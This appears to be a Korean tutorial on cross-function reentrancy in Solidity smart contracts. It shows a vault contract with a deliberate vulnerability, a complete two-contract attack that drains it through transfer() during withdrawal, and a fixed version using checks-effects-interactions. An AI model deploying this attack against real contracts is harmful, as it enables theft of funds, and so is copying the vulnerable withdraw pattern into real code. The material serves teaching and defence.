번역 및 내용을 추가하여 작성하였습니다.
다음과 같은 능력을 키우고 싶어 시작하게 되었습니다.
함수 간 재진입은 복잡성 측면에서 또 다른 수준의 재진입입니다.
일반적으로 이 문제의 원인은 동일한 상태 변수를 상호 공유하는 여러 함수가 있고, 그 중 일부 함수가 해당 변수를 불안정하게 업데이트하기 때문입니다.
InsecureEtherVault Contract와 FixedEtherVault Contract에 필요한 ReentrancyGuard abstract Contract입니다.
pragma solidity 0.8.13;
abstract contract ReentrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
사용자가 ETH를 입금하고 입금된 ETH를 다른 사용자에게 전송하고, 입금된 ETH를 모두 출금하고, 잔액을 확인할 수 있는 간단한 Contract입니다.
pragma solidity 0.8.13;
import "./Dependencies.sol";
contract InsecureEtherVault is ReentrancyGuard {
mapping (address => uint256) private userBalances;
function deposit() external payable {
userBalances[msg.sender] += msg.value;
}
function transfer(address _to, uint256 _amount) external {
if (userBalances[msg.sender] >= _amount) {
userBalances[_to] += _amount;
userBalances[msg.sender] -= _amount;
}
}
function withdrawAll() external noReentrant { // Apply the noReentrant modifier
uint256 balance = getUserBalance(msg.sender);
require(balance > 0, "Insufficient balance");
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
userBalances[msg.sender] = 0;
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address _user) public view returns (uint256) {
return userBalances[_user];
}
}
Cross-Function Reentrancy는 23번째 라인 withdrawAll() 함수에서 시작됩니다.
함수 간 재진입 공격의 근본적인 원인은 하나의 상태 변수를 상호 공유하는 여러 함수가 있고, 그 중 일부 함수가 해당 변수를 안전하지 않게 업데이트 하기 때문입니다.
실제로 공격자는 앞서 설명한 2개의 Contract로 나눠서 실행한 공격을 단일 트랜잭션으로 통합하여 공격을 자동화할 수 있습니다. 하지만 이해를 돕기 위해 6단계는 의도적으로 분리했습니다.
아래 코드는 InsecureEtherVault Contract를 공격할 수 있는 Contract입니다.
pragma solidity 0.8.13;
interface IEtherVault {
function deposit() external payable;
function transfer(address _to, uint256 _amount) external;
function withdrawAll() external;
function getUserBalance(address _user) external view returns (uint256);
}
contract Attack {
IEtherVault public immutable etherVault;
Attack public attackPeer;
constructor(IEtherVault _etherVault) {
etherVault = _etherVault;
}
function setAttackPeer(Attack _attackPeer) external {
attackPeer = _attackPeer;
}
receive() external payable {
if (address(etherVault).balance >= 1 ether) {
etherVault.transfer(
address(attackPeer),
etherVault.getUserBalance(address(this))
);
}
}
function attackInit() external payable {
require(msg.value == 1 ether, "Require 1 Ether to attack");
etherVault.deposit{value: 1 ether}();
etherVault.withdrawAll();
}
function attackNext() external {
etherVault.withdrawAll();
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
InsecureEtherVault Contract를 공격하려면 공격자는 2개의 Attack Contract를 배포한 후 다음 작업을 수행해야 합니다.
첨부된 이미지처럼 공격자는 두 개의 Attack Contract에 번갈아 가며 별도의 트랜잭션을 생성하여 InsecureEtherVault Contract에 있는 ETH를 모두 출금했습니다.
checks-effects-interactions pattern을 적용하면 재진입 공격을 막을 수 있습니다.
withdrawAll() 함수를 수정하였습니다. 출금자에게 ETH를 다시 보내기 전에 출금자의 잔액이 업데이트 되도록하여 Cross-Function-Reentrancy 공격을 방지합니다.
pragma solidity 0.8.13;
import "./Dependencies.sol";
contract FixedEtherVault is ReentrancyGuard {
mapping (address => uint256) private userBalances;
function deposit() external payable {
userBalances[msg.sender] += msg.value;
}
function transfer(address _to, uint256 _amount) external {
if (userBalances[msg.sender] >= _amount) {
userBalances[_to] += _amount;
userBalances[msg.sender] -= _amount;
}
}
function withdrawAll() external noReentrant { // Apply the noReentrant modifier
uint256 balance = getUserBalance(msg.sender);
require(balance > 0, "Insufficient balance"); // Check
// FIX: Apply checks-effects-interactions pattern
userBalances[msg.sender] = 0; // Effect
(bool success, ) = msg.sender.call{value: balance}(""); // Interaction
require(success, "Failed to send Ether");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address _user) public view returns (uint256) {
return userBalances[_user];
}
}